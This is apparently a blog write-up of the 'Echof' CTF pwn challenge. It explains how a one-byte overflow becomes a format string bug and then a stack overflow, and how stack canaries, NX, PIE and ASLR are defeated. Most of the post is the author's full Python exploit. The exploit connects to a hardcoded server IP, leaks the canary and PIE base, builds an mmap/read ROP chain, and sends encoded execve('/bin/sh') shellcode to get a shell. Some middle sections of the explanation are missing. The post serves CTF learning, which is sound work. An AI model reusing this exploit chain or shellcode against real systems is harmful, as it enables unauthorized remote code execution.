Echof(300pt) - pwn this.
A simple x86 ELF binary is given. the program uses every possible security solutions : CANARY, NX, PIE. and the server has ASLR enabled.
however, a quick analysis tells us that the binary has "1 byte buffer overflow bug" which overwrites the lower byte of format string pointer to NULL (supposedly used as string null terminator). and this leads the program to format string bug.
However, the program filters the 'n' character. so we cannot exploit the format string bug to directly overwrite arbitrary memory contents. But, since the format string content of the heap(0x11111000) is copied to stack buffer using "sprintf" we can trigger a stack based buffer overflow by intentionally putting some long format strings such as "%1000c". In this way, we can overwrite the stack far beyond the return address. From now solving the task is a classic stack-based buffer overflow problem. Unfortunately the situation is more complex. We need to defeat a number of security technologies using a small weapon : memory leaking with format string bug.
These are the opponents.
- Stack Protector (Canary)
- Never eXecute (NX)
- Position Independent Executable (PIE)
- Address Space Layout Randomization (ASLR)
Stage 2. Defeating PIE, ASLR
and then restored the stack protector...
and returned from the main function.
right after getting shell from my local environment, it was possible to get a shell from task server.
Unfortunately I solved the task after the CTF is over.. The task was difficult since I had no background of PIE executable. Below is the final exploit.
# final exploit (python)
from socket import *
from struct import *
import sys, os, time, base64, ctypes
''' game start! '''
s = socket(AF_INET, SOCK_STREAM)
#s.connect( ('localhost', 33000) )
s.connect( ('109.233.61.11', 3129) )
r = s.recv(4096)
print r
s.send('letmein\n')
r = s.recv(4096)
print r
raw_input()
''' stage 1 '''
# get canary, piebase
canary = 0
piebase = 0
mmap=0
read=0
pppr=0
p_mmap=0 # addr of mmap pointer
p_read=0 # addr of read pointer
p1 = '%78$X.%79$X.'
p1 += 'A'*(128-len(p1))
print 'len : ' + str(len(p1))
s.send( p1 )
r = s.recv(4096)
canary = int(r.split('.')[0], 16)
piebase = int(r.split('.')[1], 16) - 0xC10
pppr = piebase + 0x95F
p_mmap = piebase + 0xAE6
p_read = piebase + 0xA79
print 'canary : {0}'.format(hex(canary))
print 'piebase : {0}'.format(hex(piebase))
print 'pppr : {0}'.format(hex(pppr))
print 'p_mmap : {0}'.format(hex(p_mmap))
print 'p_read : {0}'.format(hex(p_read))
''' stage 2 '''
# calculate &mmap, &read
p2 = '.%27$s.%28$s.%29$s.%30$s.%31$s.%32$s.%33$s.%34$s.AAA'
p2 += pack('<L', p_mmap)
p2 += pack('<L', p_read)
p2 += pack('<L', p_mmap+1)
p2 += pack('<L', p_read+1)
p2 += pack('<L', p_mmap+2)
p2 += pack('<L', p_read+2)
p2 += pack('<L', p_mmap+3)
p2 += pack('<L', p_read+3)
p2 += 'A'*(128-len(p2))
print 'len : ' + str(len(p2))
s.send( p2 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
r = s.recv(4096)
print r
# get mmap, read address!
mmap1 = r.split('.')[1]
read1 = r.split('.')[2]
mmap2 = r.split('.')[3]
read2 = r.split('.')[4]
mmap3 = r.split('.')[5]
read3 = r.split('.')[6]
mmap4 = r.split('.')[7]
read4 = r.split('.')[8]
mmap = unpack('B', mmap1[0])[0]
mmap += unpack('B', mmap2[0])[0] << 8
mmap += unpack('B', mmap3[0])[0] << 16
mmap += unpack('B', mmap4[0])[0] << 24
mmap = ctypes.c_int32( mmap ).value + p_mmap + 4
read = unpack('B', read1[0])[0]
read += unpack('B', read2[0])[0] << 8
read += unpack('B', read3[0])[0] << 16
read += unpack('B', read4[0])[0] << 24
read = ctypes.c_int32( read ).value + p_read + 4
print 'mmap : {0}'.format(hex(mmap))
print 'read : {0}'.format(hex(read))
''' stage3 '''
# set ROP payload
# [&mmap][&pppr][0x11111000][0x13001][7][32][-1][0][DEADBEEF][&read][0][0x11111001][0x101]
zero = '%2$c'
p3 = '%272c'
p3 += pack('<L', mmap)
p3 += pack('<L', pppr)
p3 += zero + pack('BBB', 0x10, 0x11, 0x11) # 0x11111000
p3 += pack('BBB', 0x01, 0x30, 0x01) + zero # 0x00013001
p3 += pack('B', 0x7) + zero + zero + zero # 0x00000007
p3 += pack('B', 0x32) + zero + zero + zero # 0x00000032
p3 += pack('<L', 0xFFFFFFFF) # -1
p3 += zero + zero + zero + zero # 0
p3 += '%4c'
p3 += pack('<L', read)
p3 += pack('<L', 0x11111001) # ret addr of read
p3 += zero + zero + zero + zero # stdin
p3 += pack('<L', 0x11111001) # read buffer
p3 += pack('BB', 0x01,0x01) + zero + zero # 0x101
p3 += 'A'*(128-len(p3))
print 'len : ' + str(len(p3))
s.send( p3 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
r = s.recv(4096)
print r
''' stage4 '''
# restore stack protector
p4 = '%2$140c' + pack('<L', ctypes.c_uint32( (canary>>8) + 0x41000000 ).value)
p4 = 'A'*(128-len(p4)) + p4
print 'len : ' + str(len(p4))
s.send( p4 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
r = s.recv(4096)
print r
''' stage5 '''
# trigger exploit
p5 = 'n'*128
print 'len : ' + str(len(p5))
s.send( p5 )
# send shellcode
# execve('/bin/sh')
sh = '\xE8\xFF\xFF\xFF\xFF\xC0\x8B\x34\x24\x83\xC6\x14\x31\xC9'
sh += '\xB1\xFF\x8A\x06\x30\xC8\x88\x06\x46\xE2\xF7\xCE\x2C\xAF'
sh += '\x94\xD4\xD5\x8A\x90\x9F\xD9\x97\x9D\x9D\x7B\x12\xA2\xBC'
sh += '\x67\x0C\xDD\x2B\x5A\xE2\x25\x67'
sh += '\x90'*(0x101 - len(sh))
s.send( sh )
# got shell.
s.send( 'cat flag\n' )
print s.recv(4096)
'Games > CTF' 카테고리의 다른 글
Codegate 2014 4stone writeup (0) | 2014.03.03 |
---|---|
Codegate 2014 Angry Doraemon Writeup (0) | 2014.03.03 |
PHDays 2014 miXer (0) | 2014.01.27 |
PHDays 2014 FreeBDSM (0) | 2014.01.27 |
Whitehat RSA Signing (0) | 2014.01.07 |